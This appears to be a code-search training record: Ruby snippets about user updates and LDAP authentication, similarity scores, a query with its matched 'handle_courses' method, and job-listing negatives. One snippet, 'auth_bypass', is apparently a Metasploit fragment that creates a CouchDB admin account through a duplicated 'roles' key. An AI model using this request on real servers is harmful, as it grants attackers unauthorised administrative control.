"def find_and_update(update=false)\n @all_users.each do |user|\n if user.email == @email.strip\n if update\n first_name_input\n last_name_input\n user.first_name, user.last_name = @first_name, @last_name\n else\n puts \"Email: #{user.email} First Name: #{user.first_name} Last name: #{user.last_name} \"\n end\n end\n end\n end",
"def update\n # @user = User.find(params[:id])\n @user = current_user # makes our views \"cleaner\" and more consistent\n params[:user][:existing_identity_attrs] ||= {}\n unless configatron.user_can_change_login\n params[:user].delete(:login)\n @user_login_is_readonly = true\n end\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"Account updated!\"\n format.html { redirect_to account_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def process_login\n# Something is really wrong\n return dc_render_404('Login:') unless ( params[:record] and params[:record][:username] and params[:record][:password] )\n success = false\n unless params[:record][:password].blank? \n# user must be defined locally\n user = DcUser.find_by(username: params[:record][:username])\n if user\n# LDAP alternative. You must add gem 'net-ldap' to Gemfile \n# ldap = Net::LDAP.new(host: 'ldap.yourdomain.com')\n# ldap.auth(\"#{params[:record][:username]}@yourdomain.com\", params[:record][:password])\n# success = ldap.bind\n\n# authenticate locally\n success = user.authenticate(params[:record][:password]) unless success\n end\n end\n# \n if success\n fill_login_data(user, false)\n redirect_to '/'\n else # display login error\n flash[:error] = t('drgcms.invalid_username')\n redirect_to \"/login\"\n end\nend",
"def sing_in_ldap(args)\n login = args[:login]\n password = args[:password]\n ldap = User.ldapCheckUser({login:login, password:password})\n if ldap[:bind] == false\n render :json => { login: false , error:ldap[:error]}\n return\n else\n userObj = {login:login , user_type: :ldap}\n user = User.where(userObj).first_or_create\n raw_token = {login: user.login , password: password , type:user.user_type }\n token = JsonWebToken.encode(raw_token)\n\n render :json => { login: true , token: token , admin: user.admin, user: {login:user.login, type:user.user_type, id: user.id} }\n return\n end\n end",
"def update_user\n @user = @user || student.user || student.build_user\n @user.update_attribute(:login, loginname)\n @user.roles << Role.find_by_name('student') unless @user.has_role?(\"student\")\n self.update_attribute(:status, 'S')\n end",
"def local_user_modify(handle:, name:, **kwargs)\n found_user = _get_local_user(handle, name)\n if found_user.nil?\n raise ImcOperationError.new(\"Modify Local User\", \"User doesn't exist\")\n end\n\n found_user.set_prop_multiple(**kwargs)\n handle.set_mo(mo: found_user)\n return handle.query_dn(dn: found_user.dn)\nend",
"def change_password(username, password, new_pw)\n #errors = validate_password(password, new_pw)\n errors = PasswordConstraints::validate(new_pw, password)\n return errors unless errors.empty?\n\n LdapPassword::change_password(username, password, new_pw)\nend",
"def update\n @directory = @user.directory\n\n respond_to do |format|\n if @directory.update_attributes(params[:directory])\n format.html { redirect_to user_directory_url, :flash => { success: 'Directory updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @directory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n modified_params = user_params\n modified_params.delete(\"password\") if modified_params[\"password\"].empty?\n if @user.update(modified_params)\n @users = current_user.users\n end\n end",
"def get_ldap_details(username)\n search_filter = Net::LDAP::Filter.eq(\"uid\", username)\n result = LDAP_CONNECTION.search(:filter => search_filter)\n puts result.inspect\nend",
"def authenticate (ldap)\n auth=ldap.authenticate \"cn=admin,dc=example,dc=com\",'123' \n puts \"***** authentication result *******\" \n puts ldap.get_operation_result \n end",
"def auth_bypass\r\n username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)\r\n password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)\r\n @auth = basic_auth(username, password)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_users/org.couchdb.user:#{username}\"),\r\n 'method' => 'PUT',\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"type\": \"user\",\"name\": \"#{username}\",\"roles\": [\"_admin\"],\"roles\": [],\"password\": \"#{password}\"})\r\n )\r\n\r\n if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def create_ldap_user_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UserApi.create_ldap_user ...'\n end\n # resource path\n local_var_path = '/v1/user/ldap'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'body']) \n\n # return_type\n return_type = opts[:return_type] || 'LdapUser' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UserApi#create_ldap_user\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def authenticate(login, password)\n return nil if login.blank? || password.blank?\n\n logger.debug \"LDAP-Auth with User #{effective_user(login)}\"\n # first, search for User Entries in LDAP\n entry = search_for_user_entries(login, password)\n return nil unless entry.is_a?(Net::LDAP::Entry)\n\n # extract attributes\n attrs = attributes_values(entry)\n\n # not sure if there is a case were search result without a DN\n # but just to be on the safe side.\n if (dn=attrs.delete(:dn)).empty?\n logger.warn \"no DN\"\n return nil\n end\n\n logger.debug \"DN found for #{login}: #{dn}\"\n\n # finally, authenticate user\n ldap_con = initialize_ldap_con(dn, password)\n unless ldap_con.bind\n logger.warn \"Result: #{ldap_con.get_operation_result.code}\"\n logger.warn \"Message: #{ldap_con.get_operation_result.message}\"\n logger.warn \"Failed to authenticate #{login}\"\n return nil\n end\n # return user's attributes\n logger.debug \"Retrieved LDAP Attributes for #{login}: #{attrs}\"\n attrs\n rescue Net::LDAP::LdapError => text\n raise \"LdapError: %s\" % text\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n \tif params[:domain].present?\n \t\t@user.provider.update!(domain_name: params[:domain])\n \tend\t\n format.html { redirect_to :back, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bind_by_username_with_preauthentication\n raise CASServer::AuthenticatorError, \"A password must be specified in the configuration for the authenticator user!\" unless\n @options[:ldap][:auth_password]\n\n @ldap.authenticate(@options[:ldap][:auth_user], @options[:ldap][:auth_password])\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end",
"def test_user_update\n new_data = {\n 'OrgDefinedId' => 'ruby-test',\n 'FirstName' => 'Test-User',\n 'MiddleName' => 'changed',\n 'LastName' => 'Test',\n 'ExternalEmail' => nil, # Predefines user data, in the case that\n 'UserName' => 'test-ruby-user1234', # there is are variables left out in the JSON\n 'Activation' => {\n 'IsActive' => true\n }\n }\n user_id = get_user_by_username(new_data['UserName'])['UserId']\n update_user_data(user_id, new_data)\n end",
"def generate_attributes_from_ldap_info\n self.username = self.uid\n self.email = self.mail\n end",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :pwdays => 0,\n :notify => false,\n }\n\n if entry.respond_to? :mail\n acct[:mail] = entry.mail.first.to_s\n else\n acct[:mail] = \"im-bigdata-pgh-sysadmins@wwpdl.vnet.ibm.com\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n next # These passwords have already expired.\n end\n\n # Send a notice 14, 7, 3, 2 and 1 days before expiration\n if [14, 7, 3, 2, 1].include? numDays\n acct[:notify] = true\n acct[:pwDays] = numDays\n end\n\n $accounts.push acct\n end\nend",
"def user username, password, opts = {}\n opts.reverse_merge! :access => false, :priv => false\n @mock_ldap.user username, password, opts\n add username\n end",
"def common_authenticate(user_name)\n user = User.find_by_ldap_id(user_name)\n if user.nil?\n user = User.new\n user.ldap_id = user_name\n user.save!\n end\n session[:user_id] = user.id\n end",
"def bind_by_username\n username_attribute = options[:ldap][:username_attribute] || default_username_attribute\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end",
"def update_ftp_account(username, attributes)\n ftp_account = ::Proftpd::FtpAccount.find_by_username(username)\n return false if ftp_account.nil?\n !!ftp_account.update(attributes)\n end",
"def enable\n if disabled?\n Cratus::LDAP.replace_attribute(\n dn,\n Cratus.config.user_account_control_attribute,\n ['512']\n )\n refresh\n else\n true\n end\n end",
"def update\n @user = User.find(params[:id]) \n p @user\n\n # p params[:user]\n \n # @user.update(user_params2)\n if @user.update_attribute(:name,params[:user][:name]) && \n @user.update_attribute(:email,params[:user][:email]) &&\n @user.authenticate(params[:user][:password])\n flash[:success] = \"Profile Updated\"\n redirect_to @user\n else\n flash[:success] = \"Password is wrong\"\n redirect_to @user\n end\n \n \n end",
"def ensure_user_created\n if User.find_by_ldap_uid(ldap_user.uid)\n Rails.logger.debug(\"User in user table.\")\n true\n else\n Rails.logger.debug(\"User not in user table, redirecting to new user form.\")\n redirect_to(new_users_url) and return\n end\n end",
"def authenticate_dn(dn, password)\n\t\tif dn.present? && password.present?\n\t\t\tinitialize_ldap_con(dn, password).bind\n\t\tend\n\tend",
"def modify_entry( c, dn, ops ) # :yields: connection_info, distinguished_name, operations\n \n entry = self.get_entry( c, dn )\n\n @ldap.modify dn: dn, operations: ops\n raise \"Unable to modify record: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message =~ /(Success|Attribute or Value Exists)/\n end",
"def update\n @user = User.find_by_id(session[:user_id])\n\n #check password\n if !@user.authenticate(params[:password])\n flash[:error] = \"Incorrect password\"\n redirect_to(:action => \"update_form\")\n return\n end\n\n #update details\n _birth = Date.civil(params[:birth][:year].to_i, params[:birth][:month].to_i, params[:birth][:day].to_i)\n if @user.update_attributes(:password => params[:password], :email => params[:email], :first_name => params[:first_name], :mid_name => params[:mid_name], :last_name => params[:last_name], :birth => _birth)\n flash[:notice] = \"Details updated successfully. \"\n redirect_to(:action => \"update_form\")\n else\n flash[:error] = \"Failed to update user:\" + @user.errors.full_messages[0]\n redirect_to(:action => \"update_form\")\n end\n end",
"def custom_update\n user = User.find(params[:id])\n user.update_attributes(params[:user])\n render :text => true\n end",
"def get_ad_user_attributes(username, is_registered=false)\n found_entry = OP_CONN.search(filter: \"sAMAccountName=#{username}\").first\n return nil if found_entry.nil?\n save_user_image(username, get_user_entry_image(found_entry))\n convert_user_attributes(found_entry, is_registered ) unless found_entry.nil?\n rescue Net::LDAP::LdapError => e\n return nil\n end",
"def update\n @user = User.find(params[:id])\n if @user.update_attributes(secure_params)\n redirect_to users_path, :notice => \"User updated.\"\n else\n redirect_to users_path, :alert => \"Unable to update user.\"\n end\n end",
"def update\n # If no user is found, render an error.\n user = User.find_by_id(params[:id])\n if user.nil?\n render 'shared/http_status', locals: {code: '404', message:\n 'User was not found'}, status: 404\n return\n end\n\n # Create a hash to hold fields/values to be updated for the user\n attributes = {}\n\n unless params[:user_name].blank?\n # Make sure the user_name isn't taken\n other_user = User.find_by_user_name(params[:user_name])\n if !other_user.nil? && other_user != user\n render 'shared/http_status', locals: {code: '409', message:\n 'Username already in use'}, status: 409\n return\n end\n attributes[:user_name] = params[:user_name]\n end\n\n attributes = process_attributes(params, attributes)\n\n user.attributes = attributes\n unless user.save\n # Some error occurred\n render 'shared/http_status', locals: { code: '500', message:\n HttpStatusHelper::ERROR_CODE['message']['500'] }, status: 500\n return\n end\n\n # Otherwise everything went alright.\n render 'shared/http_status', locals: {code: '200', message:\n HttpStatusHelper::ERROR_CODE['message']['200']}, status: 200\n end",
"def get_users(host, base='dc=griddynamics,dc=net', scope=LDAP::LDAP_SCOPE_SUBTREE, filter='(objectclass=person)')\n\n puts \"Getting users from #{host} with base #{base} with filter #{filter}\"\n\n attrs = ['uid', 'mail', 'sn', 'givenName' ,'cn', 'sshPublicKey']\n\n conn = LDAP::Conn.new(host)\n\n puts \"Connection received: #{conn.inspect}\"\n\n conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n\n puts conn.bind('','')\n\n conn.perror(\"bind\")\n\n begin\n users = Hash.new\n\n conn.search(base, scope, filter, attrs) { |entry|\n groups = []\n entry.dn.split(',').each { |dn|\n tmp = dn.split('=')\n if tmp[0] == 'ou'\n groups << tmp[1]\n end\n }\n\n if groups.include?('people') and groups.include?('griddynamics') and not groups.include?('deleted')\n users[entry.vals('uid')[0].dup] = {\n :email => entry.vals('mail')[0].dup,\n :name => entry.vals('givenName')[0].dup,\n :last_name => entry.vals('sn')[0].dup,\n :full_name => entry.vals('cn')[0].dup,\n :ssh_public_key => entry.vals('sshPublicKey').nil? ? nil : entry.vals('sshPublicKey')[0].dup,\n :groups => groups.dup\n }\n end\n }\n return users\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n conn.perror(\"search\")\n conn.unbind\nend",
"def update_user\n end",
"def connect_to_ldap\r\n begin\r\n @ldap = Net::LDAP.new(:host => @ldap_host,\r\n :port => @ldap_port,\r\n :auth => { :method => :simple,\r\n :username => @ldap_username,\r\n :password => @ldap_password } )\r\n @logger.info \"Connecting to LDAP: '#{@ldap_host}' on port #{@ldap_port}\"\r\n @logger.info \"Binding to LDAP as: #{@ldap_username}\"\r\n \r\n success = @ldap.bind()\r\n if (success)\r\n @logger.info \"LDAP authorization succeeded\"\r\n return true\r\n else\r\n @logger.error \"LDAP authorization failed: #{@ldap.get_operation_result.message}\"\r\n return false\r\n end\r\n rescue Net::LDAP::LdapError => error\r\n @logger.error(\"Error connecting to LDAP: #{error}\")\r\n return false\r\n end\r\n end",
"def update\n @special_groups_user = SpecialGroupsUser.find(params[:id])\n\n respond_to do |format|\n if @special_groups_user.update_attributes(params[:special_groups_user])\n format.html { redirect_to(special_groups_users_path, :notice => 'Special groups user was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @special_groups_user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ldap_realname(username)\n\n begin\n # Workaround for bug in jruby-ldap-0.0.1:\n LDAP::load_configuration()\n rescue\n\n end\n\n ldap_host = 'ldap.uio.no'\n conn = LDAP::Conn.new(ldap_host, LDAP::LDAP_PORT)\n filter = \"(uid=#{username})\";\n base_dn = \"dc=uio,dc=no\"\n\n if conn.bound? then\n conn.unbind()\n end\n\n ansatt = nil\n conn.bind do\n\n conn.search2(\"dc=uio,dc=no\", LDAP::LDAP_SCOPE_SUBTREE,\n \"(uid=#{username})\", nil, false, 0, 0).each do |entry|\n\n brukernavn = entry.to_hash[\"uid\"][0]\n fornavn = entry.to_hash[\"givenName\"][0]\n etternavn = entry.to_hash[\"sn\"][0]\n # epost = entry.to_hash[\"mail\"][0]\n # adresse = entry.to_hash[\"postalAddress\"][0]\n\n return fornavn + \" \" + etternavn\n end\n end\n\nend",
"def update\n @user = User.find_by(id: params[:id])\n if @user.update_attributes :username => user_params[:username], :email => user_params[:email], :password => user_params[:password]\n render :show\n else\n render :edit\n end\n end",
"def update\n # @user = User.find(params[:id]) - Now defined in authenticate function\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n @title = \"Edit Profile\"\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ldap_person\n @person ||= UCB::LDAP::Person.find_by_uid(self.login) if self.login\n end",
"def user_in_group?(attribs, dir_info)\n temp = user_record_name_alternatives(attribs)\n username = temp[:record_name]\n # pp username\n # pp attribs\n\n attribs = group_record_name_alternatives(attribs)\n # groupname = attribs[:record_name]\n attribs[:value] = username\n # pp attribs\n\n check_critical_attribute( attribs, :value, :username )\n check_critical_attribute( attribs, :record_name, :groupname )\n attribs = tidy_attribs(attribs)\n\n command = {action: 'read', scope: 'Groups', attribute: nil, value: nil}\n cmd_attribs = attribs.merge(command)\n\n dscl( cmd_attribs, dir_info )\n end",
"def updateUser(linkedInInfo, user)\n user.update_attributes(:firstName => getValueFromLinkedInInfo(linkedInInfo, 'firstName'),\n :lastName => getValueFromLinkedInInfo(linkedInInfo, 'lastName'),\n :location => getValueFromLinkedInInfo(linkedInInfo, 'location'),\n :industry => getValueFromLinkedInInfo(linkedInInfo, 'industry'),\n :numConnections => getValueFromLinkedInInfo(linkedInInfo, 'numConnections'),\n :position => getValueFromLinkedInInfo(linkedInInfo, 'title'),\n :company => getValueFromLinkedInInfo(linkedInInfo, 'company'),\n :emailAddress => getValueFromLinkedInInfo(linkedInInfo, 'emailAddress'))\n user.save\n return user\n end",
"def ldap_before_save\n self.email = Devise::LDAP::Adapter.get_ldap_param(username, 'mail').first\n end",
"def update\n \n oldUser = User.find(current_user.id)\n @user = User.find(current_user.id)\n\n successfully_updated = if needs_password?(@user, account_update_params)\n @user.update_with_password(account_update_params)\n else\n # remove the virtual current_password attribute update_without_password\n # doesn't know how to ignore it\n params[:user].delete(:current_password)\n @user.update_without_password(account_update_params)\n end\n\n if successfully_updated\n \n ## Move the user profile photo from tmp to user directory\n if @user.profile_photo!=\"\"\n move_tmp_user_photo(@user)\n end\n \n #update latitude longitude here ...\n if @user.user_type == \"fan\" || @user.user_type == \"artist\"\n #//check if the address has been changed\n addressChanged = !((oldUser.country_id == @user.country_id) && (oldUser.state_id == @user.state_id) && (oldUser.zip ==@user.zip) && (oldUser.city == @user.city))\n if addressChanged\n fullAddress = \"\"\n countryName = \"\"\n stateName = \"\"\n if @user.country_id.to_i > 0\n countryRow = Country.where(\"id = ? \",@user.country_id.to_i).take\n if countryRow != nil\n countryName = countryRow.country_name\n end\n end\n \n if @user.state_id.to_i > 0\n stateRow = State.where(\"id = ? \",@user.state_id.to_i).take\n if stateRow != nil\n stateName = stateRow.state_name\n end\n end\n \n if @user.zip.to_s != \"\"\n fullAddress = URI.encode(@user.zip)\n end\n \n if @user.city.to_s !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(@user.city)\n else\n fullAddress += \",\"+URI.encode(@user.city)\n end \n end\n \n if stateName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(stateName)\n else\n fullAddress += \",\"+URI.encode(stateName)\n end \n end\n \n if countryName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(countryName)\n else\n fullAddress += \",\"+URI.encode(countryName)\n end \n end\n \n #render text: fullAddress and return\n if !fullAddress.blank?\n lat_long = Geocoder.coordinates(fullAddress)\n cUser = User.find(@user.id);\n if lat_long!=nil\n cUser.update_attributes(:latitude => lat_long[0],:longitude => lat_long[1])\n end \n end \n end \n end\n \n set_flash_message :notice, :updated\n # Sign in the user bypassing validation in case his password changed\n sign_in @user, :bypass => true\n redirect_to after_update_path_for(@user)\n else\n render \"edit\"\n end\n end",
"def update\n if @user.update_attributes(user_params)\n head :ok\n else\n head :internal_server_error\n end\n end",
"def get_ldap_data\n if Rails.env.production?\n result = LdapHelper::find_user(self.username)\n\n if result\n self.legacy_id ||= result.try(:employeeNumber).try(:first)\n self.first_name ||= result.try(:givenName).try(:first)\n self.last_name ||= result.try(:sn).try(:first)\n self.display_name ||= result.try(:displayName).try(:first)\n self.status ||= result.try(:employeeType).try(:first) || \"potential\"\n self.email ||= result.try(:mail).try(:first) || \"#{username}@fake.me\"\n end\n end\n end",
"def update\n # User.find(current_user) vs plain current_user avoids failed name change to appear immediately in layout\n @user = User.find(current_user.id)\n \n # this needs to be passed to the object instance so that it validates the current password\n # any more elegant way to do it?\n @user.validate_current_password = true if account_section == 'password'\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"Changes saved.\"\n format.html { redirect_to account_edit_url(account_section) }\n format.xml { head :ok }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @auth_user.update(auth_user_params)\n render :show, status: :ok, location: @auth_user\n else\n render json: @auth_user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.person.attributes = (params[:person])\n @roles = [Role.find_by_name(params[:user]['role'])]\n @user.roles = @roles\n respond_to do |format|\n if @user.update_attributes(params[:user]) && @user.person.save\n if params[:user][:password].length > 0\n UserNotifier.deliver_password_changed(@user, params[:user][:password]) \n end\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to admin_users_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!\n unless id\n raise \"user can not be updated before it is created.\"\n end\n hash = \"W10=\"\n\n payload = {\n \"id\" => id,\n \"email\" => @email_address,\n \"time_zone\" => @time_zone,\n \"country\" => @country,\n \"preferred_language\" => @language,\n \"receive_campaign_emails\" => \"true\",\n \"hash\" => hash,\n \"username\" => @email_address,\n \"last_login_at\" => get_last_login_at!,\n \"password\" => @password,\n \"password_confirmation\" => @confirm_password,\n \"user\" => {\n \"email\" => @email_address,\n \"password\" => @password,\n \"password_confirmation\" => @confirm_password,\n \"time_zone\" => @time_zone,\n \"receive_campaign_emails\" => \"true\",\n \"country\" => @country,\n \"preferred_language\" => @language\n }\n }\n\n response = authenticated_request(:put, \"api/client/users/#{id}\", payload: payload)\n response[:status]\n end",
"def ldap_user_name=(ldap_user_name)\n\n if !ldap_user_name.nil? && ldap_user_name.to_s.length > 50\n fail ArgumentError, \"invalid value for 'ldap_user_name', the character length must be smaller than or equal to 50.\"\n end\n\n @ldap_user_name = ldap_user_name\n end",
"def update\n @ldap_auth_header = Irm::LdapAuthHeader.find(params[:id])\n\n respond_to do |format|\n if @ldap_auth_header.update_attributes(params[:irm_ldap_auth_header])\n format.html { redirect_to({:action => \"index\"}, :notice => t(:successfully_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ldap_auth_header.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n skip_accounts = ['CORP$']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n if skip_accounts.include? entry.sAMAccountName.first.to_s\n next\n end\n\n begin\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :mail => entry.mail.first.to_s,\n :pwdays => 0,\n :notify => false,\n }\n rescue\n puts \"Caught exception: #{entry.inspect}\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n acct[:pwdays] = numDays\n $accounts.push acct\n end\n\n end\nend",
"def update\n @user = User.find_by_name(params[:user][:name])\n\n respond_to do |format|\n begin\n\t# Including validate presence of password\n\t@user.update_attributes!(params[:user])\n # Encode a password\n @user.update_attributes!(\n :password => Digest::SHA1.hexdigest(\n \t @user.password + Wanacie::Application.config.password_salt),\n :password_confirmation => Digest::SHA1.hexdigest(\n \t @user.password_confirmation + Wanacie::Application.config.password_salt))\n\n format.html { redirect_to user_by_name_path(@user.name) , notice: 'User was successfully updated.' }\n format.json { head :no_content }\n rescue\n format.html { render 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end"
] |
[
"0.79851204",
"0.72285575",
"0.71714485",
"0.6945893",
"0.66581243",
"0.6496271",
"0.6483121",
"0.64818895",
"0.6459651",
"0.64393765",
"0.6407154",
"0.63864374",
"0.6221488",
"0.61170936",
"0.610371",
"0.6073358",
"0.60655046",
"0.6035414",
"0.59940195",
"0.5949329",
"0.5925491",
"0.5924727",
"0.58937365",
"0.589127",
"0.58892775",
"0.5883668",
"0.58679867",
"0.5863853",
"0.5854138",
"0.58515507",
"0.5792577",
"0.57806134",
"0.57511425",
"0.57366383",
"0.5732034",
"0.5721092",
"0.5719112",
"0.57151145",
"0.5710591",
"0.57103276",
"0.57059526",
"0.5700332",
"0.56995475",
"0.568903",
"0.5685588",
"0.56722677",
"0.5656739",
"0.5654546",
"0.56504023",
"0.5642358",
"0.56365013",
"0.5633524",
"0.5631937",
"0.56029063",
"0.56011033",
"0.558975",
"0.55807644",
"0.5567973",
"0.5567769",
"0.55665827",
"0.5561707",
"0.5544137",
"0.5538885",
"0.55366933",
"0.55169654",
"0.551669",
"0.5516124",
"0.5513478",
"0.5508435",
"0.55002785",
"0.54911774",
"0.54846245",
"0.54788244",
"0.5469978",
"0.5455399",
"0.5453309",
"0.54485613",
"0.5445284",
"0.54440063",
"0.5442464",
"0.5441756",
"0.54375756",
"0.5434893",
"0.5429742",
"0.5423836",
"0.5422561",
"0.54212666",
"0.541876",
"0.5417085",
"0.5415333",
"0.5411269",
"0.5381733",
"0.537992",
"0.53784674",
"0.5357639",
"0.5357241",
"0.5349524",
"0.5344165",
"0.533895",
"0.53371936"
] |
0.63304704
|
12
|
Makes more sense to handle these for each job def received_jobs_list_of_user jobs = [] self.applics.all.each do |w| this_job = Job.find_by_id(w.job_id) if this_job && w.status == "accepted" then jobs << this_job end end jobs end Parses the textbox list of courses from "CS162,CS61A,EE123" etc. to an enumerable object courses
|
def handle_courses(course_names)
return if !self.undergrad? || course_names.nil?
self.courses = [] # eliminates any previous enrollments so as to avoid duplicates
course_array = []
course_array = course_names.split(',').uniq if course_names
course_array.each do |item|
self.courses << Course.find_or_create_by(name: item.upcase.strip)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def possible_jobs\n \n\n job = params[:job].titleize\n location = params[:location].titleize\n\n results = Cb.job.search({ location: location,\n keywords: job })\n jobs = results.model.jobs\n @job_data = {\n job: job,\n location: location,\n job_results: jobs\n }\n end",
"def get_student_job_listings\n # Processing user filter choices\n url = 'https://sfa.osu.edu/jobs/job-board'\n puts 'Scraping ' + url + '...'\n a = Mechanize.new { |agent| agent.user_agent_alias = 'Windows Firefox' }\n search_page = a.get(url)\n search_form = search_page.forms.last\n data = filter\n i = 0\n search_form.search = data[0]\n data.shift # Unshifitng to get rid of keywords index\n\n search_form.checkboxes.map do |box|\n box.click if data[i]\n i += 1\n\n end\n unparsed_job_list = a.submit(search_form, search_form.buttons.first)\n parsed_job_list = Nokogiri::HTML(unparsed_job_list.body)\n\n # Filling out array of hash listings with individualized job info\n puts 'This may take a while...'\n jobs = []\n parsed_job_list.css('ol li').each do |job|\n # Summary information insertion\n info = Hash.new('N/A')\n info[:title] = job.css('h4')[0].text\n info[:employer] = job.css('h4')[1].text\n info[:desc] = job.css('p')[0].text\n info[:link] = 'https://sfa.osu.edu/jobs/' + job.css('a')[0]['href']\n get_specific_listing_info a, info\n jobs << info\n end\n jobs\nend",
"def find_ongoing_jobs(profile)\n my_on_going_jobs = []\n if profile.user_type == 'teen'\n my_onging_contracts = Contract.where(profile_id: profile.id, accept_status: 2)\n my_onging_contracts.each do |constract_obj|\n my_on_going_jobs.push(constract_obj.job)\n end\n else\n my_jobs = profile.jobs\n my_jobs.each do |each_job|\n if Contract.find_by(job_id: each_job.id, accept_status: 2).present?\n my_on_going_jobs.push(each_job)\n end\n end\n end\n\n\n return my_on_going_jobs\n\n end",
"def find_finished_jobs(profile)\n my_finished_jobs = []\n if profile.user_type == 'teen'\n my_finished_contracts = Contract.where(profile_id: profile.id, accept_status: 3)\n my_finished_contracts.each do |constract_obj|\n my_finished_jobs.push(constract_obj.job)\n end\n else\n my_jobs = profile.jobs\n my_jobs.each do |each_job|\n if Contract.find_by(job_id: each_job.id, accept_status: 3).present?\n my_finished_jobs.push(each_job)\n end\n end\n end\n\n\n return my_finished_jobs\n\n end",
